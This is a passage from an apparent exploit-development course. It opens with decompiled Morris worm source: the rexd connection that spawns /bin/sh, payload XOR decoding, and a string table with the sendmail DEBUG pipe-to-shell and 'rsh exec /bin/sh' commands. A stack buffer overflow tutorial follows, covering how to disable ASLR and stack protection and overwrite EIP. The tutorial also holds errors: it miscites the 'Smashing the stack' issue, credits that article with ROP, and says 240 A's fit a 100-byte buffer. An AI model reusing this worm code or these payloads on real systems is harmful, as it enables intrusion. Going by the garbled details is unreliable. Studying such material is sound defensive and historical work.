sin.sin_port = IPPORT_EXECSERVER; /* Oh shit, looking for rexd */
910
911
alarm(8);
912
signal(SIGALRM, justreturn);
913
if (connect(s, &sin, sizeof(sin)) < 0) {
914
alarm(0);
915
close(s);
916
continue;
917
}
918
alarm(0);
919
break;
920
}
921
if (i >= 6)
922
return -2; /* 1048 */
923
/* Check out the connection by writing a null */
924
if (write(s, XS(""), 1) == 1) {
925
/* Tell the remote execution deamon the hostname, username, and to star
926
tup
927
"/bin/sh". */
928
write(s, name1, strlen(name1) + 1);
929
write(s, name2, strlen(name2) + 1);
930
if ((write(s, XS("/bin/sh"), strlen(XS("/bin/sh"))+1) >= 0) &&
931
xread(s, in_buf, 1, 20) == 1 &&
932
in_buf[0] == '\0' &&
933
test_connection(s, s, 40) != 0)
934
return s;
935
}
936
close(s);
937
return -1;
938
}
939
940
/* Reads in a file and puts it in the 'objects' array. Returns 1 if sucessful
941
,
942
* 0 if not. */
943
loadobject(obj_name) /* x5594 */
944
char *obj_name;
945
{
946
int fd;
947
unsigned long size;
948
struct stat statbuf;
949
char *object_buf, *suffix;
950
char local[4];
951
fd = open(obj_name, O_RDONLY);
952
if (fd < 0)
953
return 0; /* 378 */
954
if (fstat(fd, &statbuf) < 0) {
955
close(fd);
956
return 0;
957
}
958
size = statbuf.st_size;
959
object_buf = malloc(size);
960
if (object_buf == 0) {
961
close(fd);
962
return 0;
963
}
964
if (read(fd, object_buf, size) != size) {
965
free(object_buf);
966
close(fd);
967
return 0;
968
}
969
close(fd);
970
xorbuf(object_buf, size);
971
suffix = index(obj_name, ',');
972
if (suffix != NULL)
973
suffix+=1;
974
else
975
suffix = obj_name;
976
objects[nobjects].name = strcpy(malloc(strlen(suffix)+1), suffix);
977
objects[nobjects].size = size;
978
objects[nobjects].buf = object_buf;
979
nobjects += 1;
980
return 1;
981
}
982
983
/* Returns the object from the 'objects' array that has name, otherwise NULL.
984
*/
985
object *getobjectbyname(name)
986
char *name;
987
{
988
int i;
989
for (i = 0; i < nobjects; i++)
990
if (strcmp(name, objects[i].name) == 0)
991
return &objects[i];
992
return NULL;
993
}
994
995
/* Encodes and decodes the binary coming over the socket. */
996
xorbuf(buf, size) /* 0x577e */
997
char *buf;
998
unsigned long size;
999
{
1000
char *addr_self; /* The address of the xorbuf fuction */
1001
int i;
1002
addr_self = (char *)xorbuf;
1003
i = 0;
1004
while (size-- > 0) {
1005
*buf++ ^= addr_self[i];
1006
i = (i+1) % 10;
1007
}
1008
return;
1009
}
1010
1011
1012
static other_fd = -1;
1013
1014
/* Make a connection to the local machine and see if I'm running in
1015
another process by sending a magic number on a random port and waiting
1016
five minutes for a reply. */
1017
checkother() /* 0x57d0 */
1018
{
1019
int s, l8, l12, l16, optval;
1020
struct sockaddr_in sin; /* 16 bytes */
1021
optval = 1;
1022
if ((random() % 7) == 3)
1023
return; /* 612 */
1024
s = socket(AF_INET, SOCK_STREAM, 0);
1025
if (s < 0)
1026
return;
1027
/* Make a socket to the localhost, using a link-time specific port */
1028
bzero(&sin, sizeof(sin)); /* 16 */
1029
sin.sin_family = AF_INET;
1030
sin.sin_addr.s_addr = inet_addr(XS("127.0.0.1")); /* <other_fd+4> */
1031
sin.sin_port = 0x00005b3d; /* ??? */
1032
if (connect(s, &sin, sizeof(sin)) < 0) {
1033
close(s);
1034
} else {
1035
l8 = MAGIC_2; /* Magic number??? */
1036
if (write(s, &l8, sizeof(l8)) != sizeof(l8)) {
1037
close(s);
1038
return;
1039
}
1040
l8 = 0;
1041
if (xread(s, &l8, sizeof(l8), 5*60) != sizeof(l8)) {
1042
close(s);
1043
return;
1044
}
1045
if (l8 != MAGIC_1) {
1046
close(s);
1047
return;
1048
}
1049
1050
l12 = random()/8;
1051
if (write(s, &l12, sizeof(l12)) != sizeof(l12)) {
1052
close(s);
1053
return;
1054
}
1055
1056
if (xread(s, &l16, sizeof(l16), 10) != sizeof(l16)) {
1057
close(s);
1058
return;
1059
}
1060
1061
if (!((l12+l16) % 2))
1062
pleasequit++;
1063
close(s);
1064
}
1065
sleep(5);
1066
s = socket(AF_INET, SOCK_STREAM, 0);
1067
if (s < 0)
1068
return;
1069
/* Set the socket so that the address may be reused */
1070
setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &optval, sizeof(optval));
1071
if (bind(s, &sin, sizeof(sin)) < 0) {
1072
close(s);
1073
return;
1074
}
1075
listen(s, 10);
1076
other_fd = s;
1077
return;
1078
}
1079
1080
/* Sleep, waiting for another worm to contact me. */
1081
other_sleep(how_long) /* 0x5a38 */
1082
{
1083
int nfds, readmask;
1084
long time1, time2;
1085
struct timeval timeout;
1086
if (other_fd < 0) {
1087
if (how_long != 0)
1088
sleep(how_long);
1089
return;
1090
}
1091
/* Check once again.. */
1092
do {
1093
if (other_fd < 0)
1094
return;
1095
readmask = 1 << other_fd;
1096
if (how_long < 0)
1097
how_long = 0;
1098
1099
timeout.tv_sec = how_long;
1100
timeout.tv_usec = 0;
1101
1102
if (how_long != 0)
1103
time(&time1);
1104
nfds = select(other_fd+1, &readmask, 0, 0, &timeout);
1105
if (nfds < 0)
1106
sleep(1);
1107
if (readmask != 0)
1108
answer_other();
1109
if (how_long != 0) {
1110
time(&time2);
1111
how_long -= time2 - time1;
1112
}
1113
} while (how_long > 0);
1114
return;
1115
}
1116
1117
static answer_other() /* 0x5b14 */
1118
{
1119
int ns, addrlen, magic_holder, magic1, magic2;
1120
struct sockaddr_in sin; /* 16 bytes */
1121
addrlen = sizeof(sin);
1122
ns = accept(other_fd, &sin, &addrlen);
1123
if (ns < 0)
1124
return; /* 620 */
1125
magic_holder = MAGIC_1;
1126
if (write(ns, &magic_holder, sizeof(magic_holder)) != sizeof(magic_holder)
1127
) {
1128
close(ns);
1129
return;
1130
}
1131
if (xread(ns, &magic_holder, sizeof(magic_holder), 10) != sizeof(magic_holder)) {
1132
close(ns);
1133
return;
1134
}
1135
if (magic_holder != MAGIC_2) {
1136
close(ns);
1137
return;
1138
}
1139
magic1 = random() / 8;
1140
if (write(ns, &magic1, sizeof(magic1)) != sizeof(magic1)) {
1141
close(ns);
1142
return;
1143
}
1144
if (xread(ns, &magic2, sizeof(magic2), 10) != sizeof(magic2)) {
1145
close(ns);
1146
return;
1147
}
1148
close(ns);
1149
if (sin.sin_addr.s_addr != inet_addr(XS("127.0.0.1")))
1150
return;
1151
if (((magic1+magic2) % 2) != 0) {
1152
close(other_fd);
1153
other_fd = -1;
1154
pleasequit++;
1155
}
1156
return;
1157
}
1158
1159
/* A timeout-based read. */
1160
xread(fd, buf, length, time) /* 0x5ca8 */
1161
int fd, time;
1162
char *buf;
1163
unsigned long length;
1164
{
1165
int i, cc, readmask;
1166
struct timeval timeout;
1167
int nfds;
1168
long time1, time2;
1169
for (i = 0; i < length; i++) { /* 150 */
1170
readmask = 1 << fd;
1171
timeout.tv_sec = time;
1172
timeout.tv_usec = 0;
1173
if (select(fd+1, &readmask, 0, 0, &timeout) < 0)
1174
return 0; /* 156 */
1175
if (readmask == 0)
1176
return 0;
1177
if (read(fd, &buf[i], 1) != 1)
1178
return 0;
1179
}
1180
return i;
1181
}
1182
1183
1184
/* These are some of the strings that are encyphed in the binary. The
1185
* person that wrote the program probably used the Berkeley 'xstr' program
1186
* to extract and encypher the strings.
1187
*/
1188
#ifdef notdef
1189
char environ[50] = "";
1190
char *sh = "sh";
1191
char *env52 = "sh"; /* 0x20034, <environ+52> */
1192
char *env55 = "-p";
1193
char *env58 = "l1.c";
1194
char *env63 = "sh";
1195
char *env66 = "/tmp/.dump";
1196
char *env77 = "128.32.137.13";
1197
char *env91 = "127.0.0.1";
1198
char *env102 = "/usr/ucb/netstat -r -n"; /* 0x20066 */
1199
char *env125 = "r";
1200
char *env127 = "%s%s";
1201
#endif /* notdef*/
1202
/*
1203
char *text =
1204
"default
1205
0.0.0.0
1206
127.0.0.1
1207
exec /bin/sh
1208
l1.c
1209
PATH=/bin:/usr/bin:/usr/ucb
1210
cd /usr/tmp
1211
x%d.c
1212
echo gorch49;sed '/int zz;/q' > %s;echo gorch50
1213
gorch49
1214
int zz;
1215
gorch50
1216
cc -o x%d x%d.c;./x%d %s %d %d;rm -f x%d x%d.c;echo DONE
1217
DONE
1218
x%d,%s
1219
PATH=/bin:/usr/bin:/usr/ucb
1220
rm -f sh
1221
if [ -f sh ]
1222
then
1223
P=x%d
1224
else
1225
P=sh
1226
cc -o $P %s
1227
./$P -p $
1228
rm -f $P
1229
rm -f %s $P
1230
l1.c
1231
cd /usr/tmp
1232
x%d.c
1233
cat > %s <<'EOF'
1234
cc -o x%d x%d.c;x%d %s %d %d;rm -f x%d x%d.c
1235
/usr/ucb/rsh
1236
/usr/bin/rsh
1237
/bin/rsh
1238
/bin/echo %s
1239
debug
1240
mail from:</dev/null>
1241
rcpt to:<"| sed '1,/^$/d' | /bin/sh ; exit 0">
1242
data
1243
quit
1244
quit
1245
exec /usr/ucb/rsh %s -l %s 'exec /bin/sh'
1246
/bin/sh
1247
/bin/sh
1248
127.0.0.1
1249
127.0.0.1
1250
/etc/hosts.equiv
1251
%.100s
1252
/.rhosts
1253
%.200s/.forward
1254
%.20s%.20s
1255
%[^ ,]
1256
%*s %[^ ,]s
1257
%.200s/.forward
1258
%.200s/.rhosts
1259
%s%s
1260
/usr/dict/words";
1261
*/
1262
1263
/*
1264
* Local variables:
1265
* compile-command: "cc -S hs.c"
1266
* comment-column: 48
1267
* End:
1268
*/
1269
Copied!

Back to the basics

Now that we understand how an exploit is created, and how a worm works. And also, what an attacker can do with it. Let’s go a bit further in time. Did you ever read the famous Phrack e-zine?
Specifically, there is an old article that we want to point you in, and it’s called “Smashing the stack, for fun and profit”.
Reference to this article: http://phrack.org/issues/60/6.html
Actually, this article was a step-stone in the history of exploit development. This paper showed us how to create and debug exploits for x86 platforms from scratch, by abusing buffer overflows vulnerabilities and also how to execute our shellcodes/payloads by doing ROP ( Return Oriented Programming ) technics against the LIBC.
Following this article, we will also cover the basics. But Smashing the stack is a recommended read before getting deeper into this course. And it’s also complementary to this training.
Let’s begin, we would like to start with a simple overflow:
‌Now is the moment, open Exploit Pack!
For this example you will need a Linux box, it could be a Virtual Machine of course, and you can use any distro but it will be easier for you if you manage to get an old version of Ubuntu like 6.06. Because that one has already these protections turned off.
Navigate in Exploit Pack to the Linux modules and select “Exploit-Tutorial”. After you click on it, the code of this exercise will appear on the Code side, ( right side ) of the screen.
This is a Python script and you can edit and save it directly from the Exploit Pack interface.
In the commented section, you can see the code that we will use for this Buffer Overflow. Uncomment it or just copy and paste the code we have on this document:
#include
<stdio.h>
#include
<string.h>
int main(int argc, char** argv) { char buffer[100]; strcpy(buffer, argv[1]); // Vulnerable function! return 0; }
As the exploit says: Before compiling this code using GCC, you have to disable some protections. First, in order to disable ASLR ( Address Space Layout Randomization ) type the following: sudo bash -c ‘echo 0 > /proc/sys/kernel/randomize_va_space’
But, you may ask. What is ASLR?.. Well, here is the concept of it:
Address space layout randomization (ASLR) is a computer security technique involved in protection from buffer overflow attacks. In order to prevent an attacker from reliably jumping to, for example, a particular exploited function in memory, ASLR randomly arranges the address space positions of key data areas of a process, including the base of the executable and the positions of the stack, heap and libraries.
Basically, we are going to use fixed memory addresses in order to control the EIP, if we have ASLR turned on, if we try to jump to our stack using a fixed address, it will fail because the stack has changed.
Then, what we have to do is to disable Stack Protector, so we can not only Jump to a fixed stack position but also execute the code of our Payload when we are there.
How!? When you compile your C code, do it like this:
$ gcc overflow.c -o overflow -fno-stack-protector -z execstack Where -fno-stack-protector disable canaries checks Pro Police and -z execstack allows execution from the Stack.
Canaries or canary words are known values that are placed between a buffer and control data on the stack to monitor buffer overflows. When the buffer overflows, the first data to be corrupted will usually be the canary, and a failed verification of the canary data is, therefore, an alert of an overflow, which can then be handled, for example, by invalidating the corrupted data. The terminology is a reference to the historic practice of using canaries in coal mines, since they would be affected by toxic gases earlier than the miners, thus providing a biological warning system. Canaries are alternately known as cookies, which is meant to evoke the image of a "broken cookie" when the value is corrupted. There are three types of canaries in use: terminator, random, and random XOR. Current versions of StackGuard support all three, while ProPolice supports terminator and random canaries.
This is great, now we understand the basics about Stack Protectors, and how to disable those protections to run our custom program in order to overflow it and jump to the stack.

You should now have a solid understanding of what happens when a function is called ( In our example, strcpy ) and how it interacts with the stack.
Now we are going to see what happens when we stuff too much data into a buffer. Once you have developed an understanding of what happens when a buffer is overflowed, we can move into more exciting material, namely exploiting a buffer and taking control of execution.
Compile the code and run the program, then enter some user input to be fed into the buffer. For the first run, simply enter 240 A’s.
The program returns as expected and everything works fine. Now let’s put in 280 characters, which will overflow the buffer and start to write over things stored on the stack.
Note: Use python to get the number of characters you want:
$ python -c ‘print “A”*280’ and press Enter. So after this run, we got a segmentation fault as expected, but why? Let’s take an in-deep look using GDB
First, we start GDB like this: gdb ./overflow ← Where overflow is the name of the compiler C program. (gdb) disas main()
Here we can see the call instructions for strcpy(). Add a breakpoint to see what happens: (gdb) break *0x80000000 ← Where you have to replace it for the memory address that corresponds to where is StrCpy() on your stack.
Now run the program, using the “run” command and it will go up to our first breakpoint.
If we take a look at the stack now, after we go through Strcpy(), with this command: x/20x $esp we can see that our string 0x41414141 is all over the place. ( 41 is the equivalent of “A” in hexadecimal ).
And if we continue forward, using the command next we can see that the return pointer goes to 0x41414141 in ?? () This is because we are executing code at an address that was specified in our string. After overflowing the array the result is overwriting other items on the stack.
We filled up the array with A’s and then kept it ongoing. We wrote the stored address of EBP, which is now a dword containing a hexadecimal representation of AAAA. More importantly, we wrote over RET with another dword of AAAA.
When the function exited, it read the value stored in RET, which is now 0x41414141, the hexadecimal equivalent of AAAA, and attempted to jump to this address. This address is not a valid address or is in protected address space, and the program terminated with a segmentation fault.

Controlling the Instruction Pointer

We have now successfully overflowed a buffer, overwritten EBP and RET, and therefore caused our overflowed value to be loaded into EIP. All these actions ended up crashing the program. While this overflow can be useful in creating a denial of service, the program that you’re going to crash should be important enough that someone would care if it were not available. In our case, it’s not, for obvious reasons.
We have to move on to controlling the path of execution or basically, controlling what gets loaded into EIP, the instruction pointer.
Last modified 6mo ago